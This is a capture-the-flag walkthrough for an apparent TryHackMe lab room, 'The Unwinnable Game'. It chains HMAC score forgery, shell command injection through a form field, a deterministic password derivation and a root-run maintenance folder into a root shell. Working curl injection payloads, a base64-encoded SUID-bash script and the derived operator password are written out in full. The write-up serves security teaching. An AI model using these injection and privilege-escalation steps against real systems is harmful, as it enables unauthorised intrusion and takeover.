Pull the Game's Source
curl the relay's /static/game.js. It hardcodes SCORE_SECRET and posts {score, sig} to /api/score — the comment in app.py even says the leak is the point.
01The Unwinnable Game
TryHackMe Sidequests 2026 · SQ1 Writeup
The Unwinnable Game is the start of Sidequests 2026 — a Bandit Yeti whack-a-mole game that can't be won honestly. Forge the client-side signature, break into the relay through command injection, and ride a deterministic password straight to root.
HMAC Forgery · Command Injection · Deterministic Creds · Insecure Task Runner · Root
Five-Stage Compromise · relay (uid 1001) → operator (uid 1002) → root
01 · Secret
game.js
HMAC key shipped to the client, lets any score be signed.
02 · RCE
/api/recover
Household field dropped straight into a shell command.
03 · Creds
keygen.py
Operator password = sha256(hostname + fixed salt)[:16].
04 · Runner
cron (root)
Executes any file operator drops in its maintenance queue.
05 · Root
SUID bash
Dropped script sets the SUID bit → bash -p.
02Concepts
Web App & Linux Privesc Fundamentals
01
Any secret shipped in JavaScript — SCORE_SECRET included — is public the moment it reaches the browser.
02
A valid signature only proves possession of the key, not that the score was earned honestly — if the key leaks, so does the win.
03
User input concatenated into a shell string lets ;, |, and $() chain arbitrary commands onto the intended one.
04
Deriving a password from hash(hostname + fixed_salt) means it never changes across re-deployments — "no state to lose" also means no entropy to protect.
05
A root-owned process that blindly executes anything an unprivileged account drops into a watched folder is a privilege-escalation primitive in disguise.
06
Setting the SUID bit on /bin/bash from a root context, then running bash -p, keeps the effective UID at root in the shell.
03Walkthrough
AttackBox · Cypher Stream Relay
curl the relay's /static/game.js. It hardcodes SCORE_SECRET and posts {score, sig} to /api/score — the comment in app.py even says the leak is the point.
Compute HMAC-SHA256(SCORE_SECRET, "100") locally, then POST it straight to /api/score with curl -c cookies.txt so the winning session is saved for every request after.
Replay the saved cookie against /vault. The page drops the first flag and exposes a file recovery form that POSTs a household value to /api/recover.
app.py builds "/opt/cypher-stream/recover.sh " + household and runs it with shell=True. Appending ; id or | id to household executes as relay (uid 1001).
Use the injection to cat user.txt and flag_enum.txt, then .bash_history — it shows a previous session running keygen.py and su operator.
keygen.py builds the password as sha256(hostname + "ransommit-cypher-2026")[:16]. Grab the hostname over the injection, then compute the same digest locally.
Pipe the derived password into su operator -c '...' through the injection to copy a one-line script (chmod u+s /bin/bash) into /home/operator/maintenance/.
relay-maintenance-runner.py runs as root and executes anything owned by operator in that folder. Seconds later /bin/bash is SUID — bash -p reads root.txt and operator.txt.
# sign a round-number score with the leaked client-side secret $ SIG=$(python3 -c " import hmac, hashlib secret = 'yeti-loves-round-numbers' score = '100' print(hmac.new(secret.encode(), score.encode(), hashlib.sha256).hexdigest()) ") # submit it and save the winning session cookie $ curl -s -c cookies.txt -X POST http://TARGET:31337/api/score \ -H "Content-Type: application/json" \ -d "{\"score\": 100, \"sig\": \"$SIG\"}" {"message":"That's... not supposed to happen.","ok":true,"won":true}
# confirmed RCE as uid 1001 (relay) $ curl -s -b cookies.txt -X POST http://TARGET:31337/api/recover \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "household=test; id" uid=1001(relay) gid=1001(relay) groups=1001(relay) # pull the loot that feeds the next stage $ curl ... --data-urlencode "household=test; cat /home/relay/user.txt" $ curl ... --data-urlencode "household=test; cat /opt/cypher-stream/flag_enum.txt" $ curl ... --data-urlencode "household=test; cat /opt/cypher-stream/keygen.py" $ curl ... --data-urlencode "household=test; hostname" tryhackme-2404
# keygen.py: password = sha256(hostname + ROTATION_SALT)[:16] $ python3 -c " import hashlib hostname = 'tryhackme-2404' salt = 'ransommit-cypher-2026' print(hashlib.sha256((hostname + salt).encode()).hexdigest()[:16]) " 88986b5ea2e6d9c5 # base64 a tiny payload to sidestep quoting through curl -> shell -> su $ PAYLOAD=$(echo -e '#!/bin/bash\nchmod u+s /bin/bash' | base64 -w0) # write it into operator's watched maintenance folder via su $ curl -s -b cookies.txt -X POST http://TARGET:31337/api/recover \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "household=test; mkdir -p /tmp/x; echo $PAYLOAD | base64 -d > /tmp/x/pwn.sh; \ echo 88986b5ea2e6d9c5 | su operator -c 'cp /tmp/x/pwn.sh /home/operator/maintenance/pwn.sh && \ chmod +x /home/operator/maintenance/pwn.sh'" # root's maintenance runner picks it up within seconds $ curl ... --data-urlencode "household=test; ls -la /bin/bash" -rwsr-xr-x 1 root root 1446024 /bin/bash # and root is yours $ curl ... --data-urlencode "household=test; /bin/bash -p -c 'cat /root/root.txt'" THM{the_yeti_trusted_too_soon}
| Stage | Weakness | Artifact | Result |
|---|---|---|---|
| 1 · Forge | Secret shipped to client | static/game.js · SCORE_SECRET |
Any score signable |
| 2 · Foothold | OS command injection | /api/recover · household param |
RCE as relay |
| 3 · Notes | Secrets left in enum output | flag_enum.txt |
Flag recovered |
| 4 · Creds | Deterministic password derivation | keygen.py · hostname + fixed salt |
Operator password known |
| 5 · Root | Root runner trusts operator-owned files | relay-maintenance-runner.py |
SUID bash → root |
04Flags
Verified · All 5 Flags Captured
Room Complete · relay → operator → root
Five chained flaws take you from a game you can't honestly win to a root shell: a client-exposed signing key, a textbook shell injection, secrets left behind in a previous session's trail, a password that never changes between re-images, and a "privileged helper" that trusts anything an unprivileged account hands it.
Final Flag · Root
THM{the_yeti_trusted_too_soon}
Flag 1
Claim the prize the game always promised.
Flag 2
Your first foothold on the machine.
Flag 3
The relay left notes to itself.
Flag 4
The same recipe, every time.
Flag 5
Who really runs the relay.